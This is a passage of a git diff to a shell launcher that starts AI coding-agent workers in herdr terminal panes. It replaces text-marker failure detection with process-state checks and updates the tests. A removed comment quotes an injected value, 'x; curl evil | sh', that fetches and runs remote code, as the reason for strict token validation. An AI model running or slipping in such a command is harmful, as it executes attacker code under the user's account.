 - On the legacy path a wrapper worker is the tab's root process, so a seed that exits at once takes the tab with it. The launcher now confirms the pane is still alive before reporting `moved=yes`, instead of pointing the user at a tab herdr already closed. Native legacy launches keep their byte-identical fast path.
 - Lifecycle docs corrected: on 0.7.5+ the worker runs **inside** a shell pane, so a clean `/exit` no longer closes its tab — `/close`'s armed marker plus the `SessionEnd` hook is the primary teardown there. No teardown behavior changed; the worker is still a registered agent, so `agent_status` polling is unaffected.
 
diff --git a/plugins/work-system/README.md b/plugins/work-system/README.md
index 8687660..3b00125 100644
--- a/plugins/work-system/README.md
+++ b/plugins/work-system/README.md
@@ -224,8 +224,12 @@ If that seed **fails** (expired auth, an unconfigured model), phase 2 is not
 reached at all: the wrapper prints a machine-readable marker, says TASK.md was not
 started, and exits with the seed's own code. An empty `kimi -c --auto` session
 would look like a healthy worker to both you and herdr's detection, which is worse
-than no tab. `/kickoff` then reports the launch as failed and removes the tab it
-had created, relaying the pane's last lines so you still see kimi's own error.
+than no tab. What `/kickoff` can do about it depends on the herdr version. On **0.7.5+** the
+wrapper runs inside a shell pane, so the launcher sees that pane fall back to its
+prompt without a worker ever appearing, reports the launch as failed and removes
+the tab it had created. On **0.7.0–0.7.4** the wrapper *is* the tab's root process,
+so herdr closes the tab itself the moment the seed exits; the launcher only
+confirms the pane is gone and tells you to run the worker by hand to see its error.
 
 **What that costs you, stated plainly.** Both kimi phases run *without
 tool-approval prompts* — the seed by construction (`-p` cannot be combined with
diff --git a/plugins/work-system/scripts/agent-registry.sh b/plugins/work-system/scripts/agent-registry.sh
index 8f83b94..d982e9a 100755
--- a/plugins/work-system/scripts/agent-registry.sh
+++ b/plugins/work-system/scripts/agent-registry.sh
@@ -38,7 +38,7 @@
 #   which lifecycle hooks each agent honors, so /close and /continue can degrade
 #   for non-claude workers instead of faking claude-only behavior.
 #
-# HERDR TRANSPORT metadata (`herdr_mode=` / `herdr_kind=` / `herdr_marker=`).
+# HERDR TRANSPORT metadata (`herdr_mode=` / `herdr_kind=`).
 # herdr 0.7.5+ starts agents in an ALREADY-OPEN pane (`agent start <name> --kind
 # <kind> --pane <id> -- <native args>`) instead of placing them itself. That needs
 # two facts the launcher must NOT guess from a selector name or by parsing argv[0]:
@@ -50,13 +50,7 @@
 #                           `--kind` (kimi's two-phase seed+continue `sh -c`). The
 #                           launcher sends `argv_shell=` as one `pane run` command
 #                           and then waits until herdr detects `herdr_kind` in that
-#                           exact pane. `herdr_marker=` is the ASCII token such a
-#                           wrapper prints when its seed phase fails, so the
-#                           launcher can tell a definitive failure from "still
-#                           starting" instead of guessing; `herdr_marker_env=`
-#                           names the variable the launcher passes its per-launch
-#                           token in (the pane's text is worker-controlled, so an
-#                           unsalted marker would be forgeable).
+#                           exact pane.
 # The pair is generic on purpose: a future dynamically-registered wrapper (e.g. a
 # cc-harness agent that ends up as an interactive `claude`) declares
 # `pane-run` + `herdr_kind=claude` without any launcher change. An entry whose
@@ -124,32 +118,22 @@ KIMI_CREDENTIALS_FILE="${KIMI_CREDENTIALS_FILE:-$HOME/.kimi-code/credentials/kim
 # argv word; the launch helper passes it verbatim.
 BOOTSTRAP_PROMPT='Read TASK.md in this worktree and continue the task. Commit on the current branch as you go, and open a PR when the work is complete.'
 
-# The ASCII token a wrapper worker prints when its seed phase fails. Machine
-# readable on purpose: herdr-launch.sh greps the pane for it while it waits for the
-# worker to be detected, so a dead seed is a DEFINITIVE failure (roll the tab back)
-# instead of an ambiguous "maybe still starting" timeout. Emitted to callers as
-# `herdr_marker=` for every pane-run entry — never hardcode it in a consumer.
+# The ASCII marker a wrapper worker prints when its seed phase fails. It is for
+# the HUMAN who opens the tab: it names the failure unambiguously and states that
+# TASK.md was never started, where the pre-1.11.1 shape left an empty session that
+# looked healthy.
 #
-# Two properties make the printed marker safe to grep out of a pane, and BOTH are
-# needed — the pane's text is worker-controlled, so a bare well-known constant is
-# forgeable by anything the worker echoes:
-#   1. The wrapper ASSEMBLES the token at runtime (`m=WORKER_SEED` … `${m}_FAILED`)
-#      so the literal never appears in the command line the pane echoes back.
-#      Found live: a script containing the literal made the launcher "detect" a
-#      seed failure the instant it typed the command, killing a healthy launch.
-#   2. The printed line carries a PER-LAUNCH token from $WORK_SYSTEM_SEED_TOKEN,
-#      which the launcher mints and greps for as `<marker>:<token>`. Without it,
-#      any file the seed reads and echoes — this repo's own TASK.md, CHANGELOG and
-#      tests all name the marker — would tear down a healthy tab. Unset (a manual
-#      paste) prints `:none`, which no launcher is waiting for.
+# It is deliberately NOT a machine signal. herdr-launch.sh used to grep the pane
+# for it; three review rounds showed terminal text cannot carry a supervisor's
+# signal at all — the pane echoes the command (so the literal matched itself), the
+# seed reads repo files that legitimately name it, a per-launch nonce had to be
+# handed to the very process being supervised, and a rendered snapshot wraps. The
+# launcher now uses process STATE instead (the pane returning to its shell prompt
+# without the worker being detected), so nothing here needs to be greppable.
+# The token is still assembled at runtime (`m=WORKER_SEED` … `${m}_FAILED`), which
+# costs nothing and keeps the literal out of the echoed command line.
 SEED_FAIL_MARKER='WORKER_SEED_FAILED'
 SEED_MARKER_HEAD="${SEED_FAIL_MARKER%_FAILED}"
-# The environment variable the launcher passes that token in. Emitted as
-# `herdr_marker_env=` so the NAME lives in one place: it is one half of a contract
-# whose other half is the wrapper script below, and a rename that touched only this
-# file would leave the wrapper printing `:none` while the launcher greps for a
-# nonce — silently disabling seed-failure rollback, with every test still green.
-SEED_TOKEN_ENV='WORK_SYSTEM_SEED_TOKEN'
 
 # kimi's two-phase launch script (see the header). Defined once here so the shape
 # has exactly one home; emit_argv passes it as the `sh -c` word.
@@ -167,13 +151,12 @@ SEED_TOKEN_ENV='WORK_SYSTEM_SEED_TOKEN'
 # tab's ROOT process: a failed seed now ends that process, so herdr closes the tab.
 # Accepted deliberately — a closed tab is honest, whereas the empty session it
 # replaces was actively misleading. On modern herdr the wrapper runs inside a shell
-# pane, so the marker and the error land on screen — and since the launcher then
-# rolls that tab back, it copies the pane's visible tail into its own diagnostic
-# first, or the rollback would take the only explanation with it.
+# pane, so the marker and kimi's own error land on screen; the launcher sees the
+# pane fall back to its prompt without a worker and rolls the tab back.
 # Kept ASCII-only and free of backslash escapes so `shell_quote` renders it as a
 # plain single-quoted word in `argv_shell=` — a `$'…'` form would be bash/zsh-only
 # and near-unreadable in the copy-paste block.
-KIMI_LAUNCH_SCRIPT='if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; m='"$SEED_MARKER_HEAD"'; echo; echo "[work-system] ${m}_FAILED:${'"$SEED_TOKEN_ENV"':-none}: kimi seed exited $rc - TASK.md was NOT started and no session was opened."; exit $rc; fi'
+KIMI_LAUNCH_SCRIPT='if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; m='"$SEED_MARKER_HEAD"'; echo; echo "[work-system] ${m}_FAILED: kimi seed exited $rc - TASK.md was NOT started and no session was opened."; exit $rc; fi'
 
 # ---------- registry ----------
 # `flag|cli|model|supports|herdr_mode|herdr_kind`. flag `-` = no shorthand
@@ -479,9 +462,6 @@ subcmd_resolve() {
   printf 'herdr_mode=%s\n' "$mode"
   printf 'herdr_kind=%s\n' "$kind"
   # Only wrappers can fail their seed phase, so only they carry the marker.
-  # A wrapper's seed-failure marker AND the env var its token arrives in — both
-  # halves of that contract come from here, so a consumer never hardcodes either.
-  [ "$mode" = pane-run ] && printf 'herdr_marker=%s\nherdr_marker_env=%s\n' "$SEED_FAIL_MARKER" "$SEED_TOKEN_ENV"
   [ -n "$note" ] && printf 'note=%s\n' "$note"
   emit_argv "$cli" "$model" "$session"
 
diff --git a/plugins/work-system/scripts/herdr-launch.sh b/plugins/work-system/scripts/herdr-launch.sh
index cd130f9..4488311 100755
--- a/plugins/work-system/scripts/herdr-launch.sh
+++ b/plugins/work-system/scripts/herdr-launch.sh
@@ -208,16 +208,27 @@ fi
 detect_launch_api() {
   [ -n "${WORK_SYSTEM_HERDR_API:-}" ] && { printf '%s\n' "$WORK_SYSTEM_HERDR_API"; return 0; }
   local help rc=0
-  help="$(run_bounded 10 herdr agent start --help 2>&1)" || rc=$?
+  # NOT `2>&1`: that would make the child's stderr the command-substitution pipe,
+  # so a SIGKILLed grandchild still holding it would keep this $( ) open forever —
+  # defeating the exact hang guard run_bounded's temp-file stdout routing provides.
+  # `--help` goes to stdout; herdr's stderr is of no use here.
+  help="$(run_bounded 10 herdr agent start --help 2>/dev/null)" || rc=$?
+  # Plain substring tests on a string already in memory — `case` does this with no
+  # subprocess, where the printf|grep pipelines it replaces cost eight per launch
+  # and implied a regex match that was never wanted.
   if [ "$rc" != 0 ] || [ -z "$help" ]; then
     printf 'probe-failed\n'
-  elif printf '%s' "$help" | grep -q -- '--kind' && printf '%s' "$help" | grep -q -- '--pane'; then
-    printf 'modern\n'
-  elif printf '%s' "$help" | grep -q -- '--workspace' && printf '%s' "$help" | grep -q -- '--cwd'; then
-    printf 'legacy\n'
-  else
-    printf 'unknown\n'
+    return 0
   fi
+  case "$help" in
+    *--kind*)
+      case "$help" in *--pane*) printf 'modern\n'; return 0 ;; esac ;;
+  esac
+  case "$help" in
+    *--workspace*)
+      case "$help" in *--cwd*) printf 'legacy\n'; return 0 ;; esac ;;
+  esac
+  printf 'unknown\n'
 }
 
 # Bounds for the modern path. All overridable so tests stay hermetic and fast.
@@ -230,6 +241,22 @@ BUSY_TRIES="${WORK_SYSTEM_HERDR_BUSY_TRIES:-20}"                 # agent_pane_bu
 READY_TRIES="${WORK_SYSTEM_HERDR_READY_TRIES:-60}"               # shell-prompt wait (pane-run)
 DETECT_TRIES="${WORK_SYSTEM_HERDR_DETECT_TRIES:-60}"             # wrapper detection polls
 RETRY_DELAY="${WORK_SYSTEM_HERDR_RETRY_DELAY:-0.5}"              # seconds between polls
+# Try counts alone do NOT bound these loops in wall clock: each iteration makes
+# herdr calls that are themselves only bounded at 10s each, so against a wedged
+# socket "60 tries" can mean twenty minutes rather than the ~30s the numbers imply.
+# Every poll loop therefore also carries an absolute deadline, and whichever bound
+# trips first ends it.
+READY_SECONDS="${WORK_SYSTEM_HERDR_READY_SECONDS:-45}"
+DETECT_SECONDS="${WORK_SYSTEM_HERDR_DETECT_SECONDS:-45}"
+ALIVE_SECONDS="${WORK_SYSTEM_HERDR_ALIVE_SECONDS:-20}"
+# Consecutive "pane is at its own shell prompt, no worker detected" samples that
+# mean nothing is running there. The bound is a real trade-off, measured live: too
+# SHORT and a healthy wrapper is torn down in the gap between `pane run` returning
+# and its child taking the foreground; too LONG and a failed launch is only reported
+# after the full detection window. 8 × RETRY_DELAY ≈ 4s sits well past that gap
+# (a healthy kimi was detected in ~2s, busy throughout) and still reports a dead
+# wrapper in seconds. Raise it on a slow host.
+IDLE_STREAK="${WORK_SYSTEM_HERDR_IDLE_STREAK:-8}"
 # Legacy path only: how long to let a wrapper worker prove it did not die on the
 # spot before its tab is reported as running (see the pane_alive check there).
 WRAPPER_ALIVE_TRIES="${WORK_SYSTEM_HERDR_ALIVE_TRIES:-6}"
@@ -429,7 +456,14 @@ classify_start_failure() {
 # unconfirmed rollback is never reported to the user as a clean failure.
 rollback_tab() {
   local t="${1:-}" td state
-  [ -n "$t" ] || { printf 'closed\n'; return 0; }
+  if [ -z "$t" ]; then
+    # No id. That is "nothing to close" ONLY if no tab was ever created; if one was
+    # created and its id simply did not parse, claiming a clean rollback would leave
+    # a blank background tab open while the caller tells the user everything was
+    # undone — and the user then launches a second worker onto the same worktree.
+    if [ "${tab_created:-no}" = yes ]; then printf 'unverified\n'; else printf 'closed\n'; fi
+    return 0
+  fi
   td="$SCRIPT_DIR/herdr-teardown.sh"
   [ -f "$td" ] || { printf 'unverified\n'; return 0; }
   state="$(bash "$td" close-tab "$t" "$workspace" 2>/dev/null || echo unverified)"
@@ -453,7 +487,11 @@ fail_definitive() {
     [ -n "${tab:-}" ] && printf 'rolled back the tab created for this launch (%s)\n' "$tab" >&2
     exit 1
   fi
-  printf 'could not confirm that the tab created for this launch (%s) was closed — check it by hand\n' "${tab:-?}" >&2
+  if [ -n "${tab:-}" ]; then
+    printf 'could not confirm that the tab created for this launch (%s) was closed — check it by hand\n' "$tab" >&2
+  else
+    printf 'a tab was created for this launch but herdr did not return its id, so it could not be closed — find and close it by hand\n' >&2
+  fi
   emit_unverified
   exit 0
 }
@@ -491,21 +529,26 @@ pane_state() {
   printf '%s' "$json" | python3 -c "$extract_pane_present" "$1" 2>/dev/null || printf 'unverified\n'
 }
 
-# pane_has_marker <pane> <token> — is the wrapper's seed-failure marker on screen?
-# `--source visible` is the snapshot that actually holds a settled pane's text; the
-# default `recent` returns nothing once output has stopped (verified live).
-#
-# <token> MUST carry this launch's random seed token (`<marker>:<nonce>`), never a
-# bare well-known constant. The pane's contents are worker-controlled: the seed
-# reads and echoes repository files, and in a work-system repo those files (TASK.md,
-# CHANGELOG, these very tests) legitimately NAME the marker — a substring match on
-# the constant alone would tear down a healthy worker's tab the moment it printed
-# one of them. The nonce is minted per launch and known only to the wrapper the
-# launcher itself started.
-pane_has_marker() {
-  run_bounded 10 herdr pane read "$1" --source visible --lines 200 --format text 2>/dev/null \
-    | grep -qF -- "$2"
-}
+# NOTE — why there is no `pane_has_marker` here any more.
+# A wrapper announces a failed seed by PRINTING a marker (see agent-registry.sh's
+# KIMI_LAUNCH_SCRIPT); the launcher used to grep the pane for it. Three review
+# rounds took that apart, and the conclusion is that terminal TEXT cannot be the
+# supervisor's signal at all:
+#   * the pane echoes the command it was given, so the literal in the wrapper
+#     script matched itself and rolled a HEALTHY launch back (found live);
+#   * splitting the literal fixed only that channel — the seed's whole job is
+#     reading repository files, and in a work-system repo TASK.md, the CHANGELOG
+#     and these tests all legitimately name the marker;
+#   * salting it with a per-launch nonce fixed that, but the nonce had to reach
+#     the wrapper through the environment — i.e. into the very process being
+#     supervised, which can then print its own death certificate;
+#   * and a rendered snapshot is width-WRAPPED, so in a narrow pane the match
+#     silently misses anyway.
+# Forgeable and unreliable at the same time. The signal used instead is process
+# STATE, which the worker's output cannot fake: the pane leaves its shell prompt
+# when the wrapper starts, and returns to it when the wrapper exits. A pane that
+# came back to its prompt without herdr ever detecting the expected worker is a
+# definitive failure. The printed marker remains — for the HUMAN reading the tab.
 
 # wait_shell_ready <pane> → ready | busy | unknown. Bounded wait for the pane to be
 # back at ITS OWN shell prompt before typing into it (the `pane run` path has no
@@ -519,10 +562,18 @@ pane_has_marker() {
 # spent does the caller proceed on it, having at least waited out the documented
 # rc-file window. `busy` (a readable answer that says a child holds the foreground)
 # stays a hard failure: we know it is not safe to type.
+# pane_shell_state <pane> → ready | busy | unknown. ONE sample of "is the pane at
+# its own shell prompt". `ready` = the shell itself holds the foreground, `busy` =
+# a child does (the wrapper is running), `unknown` = herdr cannot answer.
+pane_shell_state() {
+  run_bounded 10 herdr pane process-info --pane "$1" 2>/dev/null \
+    | python3 -c "$extract_shell_ready" 2>/dev/null || echo unknown
+}
+
 wait_shell_ready() {
-  local p="$1" i=0 st=unknown last=unknown
-  while [ "$i" -lt "$READY_TRIES" ]; do
-    st="$(run_bounded 10 herdr pane process-info --pane "$p" 2>/dev/null | python3 -c "$extract_shell_ready" 2>/dev/null || echo unknown)"
+  local p="$1" i=0 st=unknown last=unknown deadline=$(( SECONDS + READY_SECONDS ))
+  while [ "$i" -lt "$READY_TRIES" ] && [ "$SECONDS" -lt "$deadline" ]; do
+    st="$(pane_shell_state "$p")"
     [ "$st" = ready ] && { printf 'ready\n'; return 0; }
     last="$st"
     i=$((i + 1))
@@ -550,14 +601,13 @@ case "$mode" in
     note=""
     pane=""
     tab=""
+    tab_created=no
     argv_shell=""
     # Modern-herdr transport, declared by the registry (never inferred here). The
     # no-selector legacy default IS a canonical `claude` invocation, so it carries
     # the same agent-start/claude contract.
     herdr_mode="agent-start"
     herdr_kind="claude"
-    herdr_marker=""
-    herdr_marker_env=""
     if [ -z "$selector" ]; then
       # Plugin-qualified: a CC built-in/alias `/continue` shadows the skill.
       worker_argv=(claude -n "$session" "/work-system:continue")
@@ -583,8 +633,6 @@ case "$mode" in
           note=*)         note="${line#note=}" ;;
           herdr_mode=*)   herdr_mode="${line#herdr_mode=}" ;;
           herdr_kind=*)   herdr_kind="${line#herdr_kind=}" ;;
-          herdr_marker=*)     herdr_marker="${line#herdr_marker=}" ;;
-          herdr_marker_env=*) herdr_marker_env="${line#herdr_marker_env=}" ;;
         esac
       done <<EOF_RESOLVE
 $resolve_out
@@ -657,7 +705,8 @@ EOF_RESOLVE
         if [ "$herdr_mode" = pane-run ]; then
           i=0
           alive_state=unverified
-          while [ "$i" -lt "$WRAPPER_ALIVE_TRIES" ]; do
+          alive_deadline=$(( SECONDS + ALIVE_SECONDS ))
+          while [ "$i" -lt "$WRAPPER_ALIVE_TRIES" ] && [ "$SECONDS" -lt "$alive_deadline" ]; do
             sleep "$RETRY_DELAY" 2>/dev/null || true
             alive_state="$(pane_state "$pane")"
             # `gone` is the answer we are watching for and it cannot un-happen, so
@@ -732,6 +781,9 @@ EOF_RESOLVE
     create_err="$(mktemp)"
     create_json="$(herdr tab create --workspace "$workspace" --cwd "$worktree" \
       --label "$tab_label" --no-focus 2>"$create_err" || true)"
+    # Record that a tab may now exist BEFORE parsing: whether we can read its id is
+    # exactly the thing rollback must not confuse with "nothing was created".
+    [ -n "$create_json" ] && tab_created=yes
     pane_tab="$(printf '%s' "$create_json" | python3 -c "$extract_root_pane_tab" 2>/dev/null || true)"
     pane="${pane_tab%%|*}"
     tab="${pane_tab#*|}"
@@ -813,39 +865,9 @@ EOF_RESOLVE
     if [ "$ready" = busy ]; then
       fail_definitive "pane $pane never reached its shell prompt within the readiness window — nothing was typed into it"
     fi
-    # Mint this launch's seed token and hand it to the wrapper as an environment
-    # assignment PREFIXED to the command (a plain `KEY=value cmd …`, so argv_shell
-    # itself is still passed through untouched — no re-quoting). The wrapper prints
-    # it as part of its failure marker, and only `<marker>:<token>` is what
-    # pane_has_marker greps for. Without the token the grep would match the marker
-    # constant wherever it appears in the pane — including in repository files the
-    # seed reads and echoes. A host that cannot mint one degrades to NO marker
-    # detection (the launch then relies on the detection window alone) rather than
-    # to a forgeable constant: losing a signal is safe, trusting a fake one is not.
-    # ($WORK_SYSTEM_HERDR_SEED_TOKEN pins it for tests — a stubbed pane can only
-    # echo a marker the test already knows. Never set it in real use.)
-    seed_token="${WORK_SYSTEM_HERDR_SEED_TOKEN:-$(python3 -c 'import secrets; print(secrets.token_hex(8))' 2>/dev/null || true)}"
-    # The token is spliced UNQUOTED into a command string that a shell will execute,
-    # so it must be exactly what we think it is. `secrets.token_hex` always is —
-    # but the test override reads the ambient environment, and an inherited
-    # `…='x; curl evil | sh #'` would otherwise run in the worktree under the user's
-    # own account. Anything that is not plain lowercase hex is dropped (→ no marker
-    # detection), never sanitized into something "close enough".
-    case "$seed_token" in
-      ''|*[!0-9a-f]*) seed_token="" ;;
-    esac
-    seed_marker_match=""
-    run_cmd="$argv_shell"
-    if [ -n "$herdr_marker" ] && [ -n "$herdr_marker_env" ] && [ -n "$seed_token" ]; then
-      seed_marker_match="$herdr_marker:$seed_token"
-      # The env var NAME comes from the registry alongside the marker: both halves
-      # of this contract are declared in one place, so a rename there cannot leave
-      # the wrapper printing `:none` while the launcher greps for a nonce.
-      run_cmd="$herdr_marker_env=$seed_token $argv_shell"
-    fi
     run_rc=0
     run_err="$(mktemp)"
-    herdr pane run "$pane" "$run_cmd" >/dev/null 2>"$run_err" || run_rc=$?
+    herdr pane run "$pane" "$argv_shell" >/dev/null 2>"$run_err" || run_rc=$?
     run_blob="$(cat "$run_err")"
     rm -f "$run_err"
     if [ "$run_rc" != 0 ]; then
@@ -864,11 +886,16 @@ EOF_RESOLVE
     # reported as unverified — never as success, and never as a reason to start a
     # second one.
     #
-    # The seed-failure marker is checked FIRST in every iteration, because both
-    # signals can be true at once and they mean opposite things: herdr detects the
-    # wrapper's CLI within seconds of the seed starting, so an iteration that finds
-    # the marker will usually also find the kind. Checking the kind first would let
-    # a worker that already announced its own death be reported as a launch.
+    # A dead wrapper is detected from process state, not from anything it printed
+    # (see the note above pane_agent_kind). The signal is NOT the busy→ready
+    # transition — measured live, a wrapper that fails on startup (the common case:
+    # expired auth) is gone before the first poll, so its "running" phase is never
+    # observable. What IS observable is the steady state: a `sh -c` wrapper puts a
+    # child in the foreground, so while it runs the pane is busy or its worker is
+    # detected. A pane sitting at its OWN shell prompt, with no agent, for several
+    # consecutive polls therefore means nothing is running in it — whether the
+    # wrapper died or its keystrokes never landed. The streak is what makes it
+    # sound: a single early sample is just the state we typed into.
     #
     # What this window can and cannot catch, stated honestly: it catches a seed that
     # dies BEFORE the launch is confirmed — the common failure (expired auth, an
@@ -878,19 +905,9 @@ EOF_RESOLVE
     # launch-time option. A launch reported here was real when reported; a worker
     # that dies afterwards is an ordinary worker crash, not a bad launch.
     i=0
-    while [ "$i" -lt "$DETECT_TRIES" ]; do
-      if [ -n "$seed_marker_match" ] && pane_has_marker "$pane" "$seed_marker_match"; then
-        # Rolling the tab back also destroys the pane holding the WORKER'S OWN error
-        # (expired auth, an unconfigured model — the thing the user actually needs).
-        # So salvage the visible text first and relay it: without this the user is
-        # told the seed failed and given no way left to find out why.
-        seed_out="$(run_bounded 10 herdr pane read "$pane" --source visible --lines 40 --format text 2>/dev/null \
-          | tr -dc '[:print:]\t\n' | tail -20 || true)"
-        if [ -n "$seed_out" ]; then
-          printf 'the failing pane said:\n%s\n' "$seed_out" >&2
-        fi
-        fail_definitive "the $agent_name worker's seed phase failed in pane $pane (marker: $herdr_marker) — TASK.md was not started"
-      fi
+    idle_streak=0
+    detect_deadline=$(( SECONDS + DETECT_SECONDS ))
+    while [ "$i" -lt "$DETECT_TRIES" ] && [ "$SECONDS" -lt "$detect_deadline" ]; do
       detected="$(pane_agent_kind "$pane")"
       if [ "$detected" = "$herdr_kind" ]; then
         printf 'pane=%s\ntab=%s\nmoved=yes\nagent=%s\n' "$pane" "$tab" "$agent_name"
@@ -901,6 +918,15 @@ EOF_RESOLVE
         emit_unverified
         exit 0
       fi
+      case "$(pane_shell_state "$pane")" in
+        ready)
+          idle_streak=$((idle_streak + 1))
+          if [ "$idle_streak" -ge "$IDLE_STREAK" ]; then
+            fail_definitive "nothing is running in pane $pane — it has been back at its shell prompt for $IDLE_STREAK polls with no worker detected, so the $agent_name seed phase failed and TASK.md was not started (run the worker by hand to see its error)"
+          fi
+          ;;
+        *) idle_streak=0 ;;   # busy, or unreadable — either way not evidence of idleness
+      esac
       i=$((i + 1))
       sleep "$RETRY_DELAY" 2>/dev/null || true
     done
diff --git a/plugins/work-system/scripts/lib-bounded.sh b/plugins/work-system/scripts/lib-bounded.sh
index f99367d..8ca8830 100644
--- a/plugins/work-system/scripts/lib-bounded.sh
+++ b/plugins/work-system/scripts/lib-bounded.sh
@@ -8,6 +8,13 @@
 # stderr into the captured output, the other didn't. A sibling-file dependency is
 # already the norm between these scripts (herdr-launch.sh shells out to
 # herdr-teardown.sh, agent-registry.sh), so one definition beats two.
+#
+# NOT yet migrated: herdr-agent.sh's `_ha_bounded` and ws-statusline.sh's own
+# `run_bounded`. Both lack the SIGTERM->SIGKILL escalation and the 124
+# normalization below, so they are worth moving here — but they sit on unrelated
+# code paths (the lane registry and the status line), and this file was extracted
+# during a launch-path fix. Named explicitly so the consolidation is a known
+# follow-up rather than an oversight.
 
 # run_bounded <seconds> <cmd...> — run cmd with a hard time bound, so an external
 # probe or a wedged server can never hang the caller. Prints cmd's stdout; returns
diff --git a/plugins/work-system/scripts/test_agent_registry.py b/plugins/work-system/scripts/test_agent_registry.py
index c6a9922..4b0ab8f 100644
--- a/plugins/work-system/scripts/test_agent_registry.py
+++ b/plugins/work-system/scripts/test_agent_registry.py
@@ -187,8 +187,7 @@ def kv(out):
 KIMI_SCRIPT = (
     'if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; '
     f'm={SEED_MARKER[: -len("_FAILED")]}; echo; '
-    'echo "[work-system] ${m}_FAILED:${WORK_SYSTEM_SEED_TOKEN:-none}: '
-    'kimi seed exited $rc - '
+    'echo "[work-system] ${m}_FAILED: kimi seed exited $rc - '
     'TASK.md was NOT started and no session was opened."; exit $rc; fi'
 )
 
@@ -232,10 +231,11 @@ def kv(out):
 # further down prove it still reaches the screen intact.
 check("the marker literal is NOT in the typed command", SEED_MARKER not in script)
 check("the marker is assembled at runtime", "${m}_FAILED" in script)
-# ...and it carries the launcher's per-launch token, so the printed line cannot be
-# forged by any repository file the seed happens to read and echo.
-check("the marker line carries the per-launch seed token",
-      "${WORK_SYSTEM_SEED_TOKEN:-none}" in script)
+# The marker is for the human reading the tab, not a machine signal — the launcher
+# detects a dead wrapper from process state (see herdr-launch.sh), so nothing here
+# needs to be greppable or salted.
+check("the marker carries no launcher-side token plumbing",
+      "SEED_TOKEN" not in script)
 check("seed failure states TASK.md was not started", "TASK.md was NOT started" in script)
 check("seed failure does not wait for input", "read " not in script)
 check("phase 2 is gated behind the seed's success",
@@ -304,10 +304,7 @@ def kv(out):
     if mode == "agent-start":
         check(f"{sel}: argv[0] equals the declared kind (no rebuild needed)",
               t["argv"][0] == kind)
-        check(f"{sel}: no seed marker on a native entry", "herdr_marker" not in t)
     else:
-        check(f"{sel}: wrapper declares the seed marker",
-              t.get("herdr_marker") == SEED_MARKER)
         check(f"{sel}: wrapper argv[0] is NOT the kind (needs pane-run)",
               t["argv"][0] != kind)
 # `supports` must not absorb the new trailing fields (field-order regression).
diff --git a/plugins/work-system/scripts/test_herdr_launch.py b/plugins/work-system/scripts/test_herdr_launch.py
index 405b4c2..e148a33 100644
--- a/plugins/work-system/scripts/test_herdr_launch.py
+++ b/plugins/work-system/scripts/test_herdr_launch.py
@@ -204,6 +204,7 @@ def __init__(self, cases, log_argv=False, api="legacy", help_text=None):
         self.env["WORK_SYSTEM_HERDR_BUSY_TRIES"] = "3"
         self.env["WORK_SYSTEM_HERDR_READY_TRIES"] = "3"
         self.env["WORK_SYSTEM_HERDR_DETECT_TRIES"] = "3"
+        self.env["WORK_SYSTEM_HERDR_IDLE_STREAK"] = "2"
         self.env["WORK_SYSTEM_HERDR_ALIVE_TRIES"] = "2"
         self.env["WORK_SYSTEM_HERDR_SEED_TOKEN"] = SEED_TOKEN
         if api is not None:
@@ -628,6 +629,21 @@ def wrapper_cases(**over):
 check("failed create: no tab close attempted", "tab close" not in [n for n, _ in e.calls()])
 e.close()
 
+# --- a tab created but never identified must not read as "rolled back" ----- #
+# `tab create` succeeded, its id did not parse. Claiming a clean rollback would
+# leave a blank background tab open while the caller tells the user everything was
+# undone — and the user then launches a second worker on the same worktree.
+e = Env(modern_cases(**{
+    "tab create": (jsonlib.dumps({"result": {"root_pane": {"pane_id": "w1:p7"}}}), "", 0),
+    "agent start": ("", NO_PANE_ERR, 1),
+}), log_argv=True, api="modern")
+r = e.run("launch", "t", str(e.worktree), "w1")
+check("unidentified tab: not reported as a clean failure",
+      r.returncode == 0 and r.stdout.startswith("blocked=unverified\n"))
+check("unidentified tab: says the tab could not be closed",
+      "did not return its id" in r.stderr)
+e.close()
+
 # --- a rollback that cannot be confirmed downgrades to unverified ---------- #
 e = Env(modern_cases(**{
     "agent start": ("", NO_PANE_ERR, 1),
@@ -664,24 +680,28 @@ def kimi_run(cases, log_argv=True):
 check("wrapper: exactly one pane run", len(runs) == 1)
 if runs:
     # `pane run <PANE> <COMMAND>` — the whole wrapper must arrive as ONE word,
-    # not re-split or re-quoted by the launcher.
+    # not re-split, re-quoted or prefixed by the launcher.
     check("wrapper: the command is a single argv word", len(runs[0]) == 4)
     cmd = runs[0][3]
-    check("wrapper: this launch's seed token rides as a plain env assignment",
-          cmd.startswith(f"WORK_SYSTEM_SEED_TOKEN={SEED_TOKEN} "))
-    check("wrapper: the registry's argv_shell follows it verbatim",
-          cmd.split(" ", 1)[1].startswith("sh -c ")
-          and "exec kimi -c --auto" in cmd)
+    check("wrapper: the registry's argv_shell is sent verbatim",
+          cmd.startswith("sh -c ") and "exec kimi -c --auto" in cmd)
     check("wrapper: no agent start on this path",
           "agent start" not in [n for n, _ in e.calls()])
 check("wrapper: waited for the shell prompt before typing",
       len(e.call_args("pane process-info")) >= 1)
 check("wrapper: the tab was not rolled back",
       "tab close" not in [n for n, _ in e.calls()])
+# The supervisor must never take its signal from terminal TEXT: a pane echoes the
+# command it was given and the worker prints repository content into it.
+check("wrapper: the pane's text is never read", "pane read" not in [n for n, _ in e.calls()])
 e.close()
 
 # --- detection never sees the worker -> unverified, no retry, tab kept ----- #
-e, r = kimi_run(wrapper_cases(**{"pane get": (pane_get(), "", 0)}))
+# ready first (the pre-run prompt wait), then busy — the worker is running, herdr
+# just never recognizes it.
+e, r = kimi_run(wrapper_cases(**{"pane get": (pane_get(), "", 0),
+                                "pane process-info": [(SHELL_READY, "", 0),
+                                                      (SHELL_BUSY, "", 0)]}))
 check("wrapper timeout: exit 0 with blocked=unverified",
       r.returncode == 0 and r.stdout.startswith("blocked=unverified\n"))
 check("wrapper timeout: bounded polling", len(e.call_args("pane get")) == 3)
@@ -700,71 +720,50 @@ def kimi_run(cases, log_argv=True):
 check("wrapper wrong kind: no rollback", "tab close" not in [n for n, _ in e.calls()])
 e.close()
 
-# --- the seed-failure marker is DEFINITIVE -> roll the tab back ------------ #
-# The marker only counts when it carries THIS launch's seed token.
+# --- an IDLE pane with no worker is a definitive seed failure -------------- #
+# Process state, not text. And not the busy→ready transition either: measured live,
+# a wrapper that fails on startup is gone before the first poll, so its running
+# phase is never observable. The steady state is: a pane back at its own shell
+# prompt, with no agent, for IDLE_STREAK consecutive polls ⇒ nothing is running.
 e, r = kimi_run(wrapper_cases(**{
